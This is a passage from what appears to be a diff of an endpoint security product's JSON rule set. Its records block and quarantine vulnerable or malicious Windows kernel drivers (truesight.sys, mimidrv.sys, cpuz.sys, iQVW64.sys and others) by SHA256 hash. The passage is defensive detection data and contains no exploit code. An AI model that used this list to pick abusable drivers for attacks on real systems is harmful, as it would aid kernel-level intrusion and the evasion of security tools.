+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488793Z",
+  "creation_date": "2026-03-23T11:45:31.488795Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488801Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c06c78644bb55d97c74a4763c8f4889928b0e149877369b1bf8d801a660694d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c6fbdc8-d550-5eeb-aa66-85cc232090ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474347Z",
+  "creation_date": "2026-03-23T11:45:31.474350Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474358Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe60f9bab775440a560b122a53102527bdf4573bd94c0de84de986e76991ab08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c87d2c0-e3ad-51c9-9ba6-7ea2b5859cbf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821162Z",
+  "creation_date": "2026-03-23T11:45:30.821166Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fc3bc6e81b04dcaa349f59f04d6c85c55a2fea5db8fa0ba53d3096a040ce5a7",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c8fc1a9-2f9a-58cb-b95c-5d44ca101e26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825780Z",
+  "creation_date": "2026-03-23T11:45:30.825783Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825788Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85a577c789691e3805667ac56aafcf304230bf3c6885a8ec8392e334cce49cf0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c9084e4-adea-509f-83d0-c60d5376eaab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157530Z",
+  "creation_date": "2026-03-23T11:45:31.157532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a9cd02916a4d08c36c592dce91e5c9e9d35a038fa4b95a6ad22d12800561b06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c976206-4181-5931-9267-3ab23140185f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488099Z",
+  "creation_date": "2026-03-23T11:45:31.488101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488106Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c0899364deaa8fd14bfd9a2bb8669b0dd586e5cff00568f9d36d731228f5579",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ca11f8f-872d-5ec8-a8df-724150f08f59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455192Z",
+  "creation_date": "2026-03-23T11:45:30.455195Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455204Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b430d3a0bdb837a5d6625d3b1cef07abd1953f969869ff6cf7ba398ae605431a",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ca331fe-0162-5cd9-87fd-5134e606007a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472274Z",
+  "creation_date": "2026-03-23T11:45:30.472278Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472287Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "572c545b5a95d3f4d8c9808ebeff23f3c62ed41910eb162343dd5338e2d6b0b4",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0caa0fc2-1ba8-51df-a23d-94a19eccd905",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827907Z",
+  "creation_date": "2026-03-23T11:45:31.827909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f87173cf9fcab276073fbfd6b27a424dd09d8411dbba87cf6ba3374f1b19efe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0cae90df-b4a9-5c34-abbb-6d1df609dc5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829272Z",
+  "creation_date": "2026-03-23T11:45:31.829275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829284Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "521b2e2f677df0224e3c0ccc829b2c71299058b5ea88c9b00ca6c3fdd622698d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0cb8c1a7-0921-531f-9df9-876ec067d8b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828102Z",
+  "creation_date": "2026-03-23T11:45:30.828104Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e88722b68e9fe0c7676aecc6829b9873b43d9b76e49d7678301891b6d6ecb35",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0cbddf44-5dd5-5c60-a65e-0601b365806b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141594Z",
+  "creation_date": "2026-03-23T11:45:31.141596Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141601Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83278f083a9773ac1bad4f31363fed125e14528bdea0f941e5efd3dc1cb51c17",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0cc21fb6-22ac-53fe-8e71-fa1adeaf48b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828065Z",
+  "creation_date": "2026-03-23T11:45:30.828068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828073Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8fc9a091c3dc6e053e044038f24bbc16028078c0fa40c5be19cbfb3ed81ea16d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0cc3ff37-e564-5db1-b054-e0be9e33e07f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461183Z",
+  "creation_date": "2026-03-23T11:45:30.461186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bd1523a68900b80ed1bccb967643525cca55d4ff4622d0128913690e6bb619e",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx32.sys) [https://www.loldrivers.io/drivers/6c0c60f0-895d-428a-a8ae-e10390bceb12/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0cd288f8-70ff-560b-ac35-4b100e2a215a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465170Z",
+  "creation_date": "2026-03-23T11:45:30.465173Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fd43a749b5040ebfafd7cdbd088e27ef44341d121f313515ebde460bf3aaa21",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0cd50bf2-4433-5da8-8cc2-19f116b57fbf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808155Z",
+  "creation_date": "2026-03-23T11:45:31.808158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "355668540e0dd71fe784452303f8e45e27fc4820720eb934ff6851089967dea0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ced8c16-4c62-551e-8e0a-4711dd9d272a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605004Z",
+  "creation_date": "2026-03-23T11:45:29.605006Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605011Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a943b358313881effa1cfd88c1755901a09596bf0e5423bf79e37b013d3fa534",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0cefec22-73e9-5321-b773-3e194a5ae513",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481694Z",
+  "creation_date": "2026-03-23T11:45:30.481696Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f46c524b79b9b1eb7efd5275dd1604de94560b52edca70ba4e47037f4b55da47",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d02bffe-47d2-5bc1-b232-1d56f99874eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155859Z",
+  "creation_date": "2026-03-23T11:45:31.155861Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155867Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5f47ee3e3e18fc5275089a706f1c1a36eaec4a7409c973e988bf1d4a82a69b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d0570c5-89e1-51d0-803e-84ca6f953171",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455583Z",
+  "creation_date": "2026-03-23T11:45:30.455586Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7125c9831a52d89d3d59fb28043b67fbe0068d69732da006fabb95550d1fa730",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d0733d4-e9d1-5db6-81c1-6133768502e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493469Z",
+  "creation_date": "2026-03-23T11:45:31.493470Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493476Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41d956f4ca7b9e152f56279263921e933976ccf68a50d67acb17ebb4d5de13e6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d195ab8-bde3-5581-9bb7-c1b87771c7a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971890Z",
+  "creation_date": "2026-03-23T11:45:29.971892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d0580c20c1ba74cf90d44c82d040f0039542eea96e4bbff3996e6760f457cee",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d1e1c6d-ad40-5731-b19d-56da38105451",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979376Z",
+  "creation_date": "2026-03-23T11:45:29.979378Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
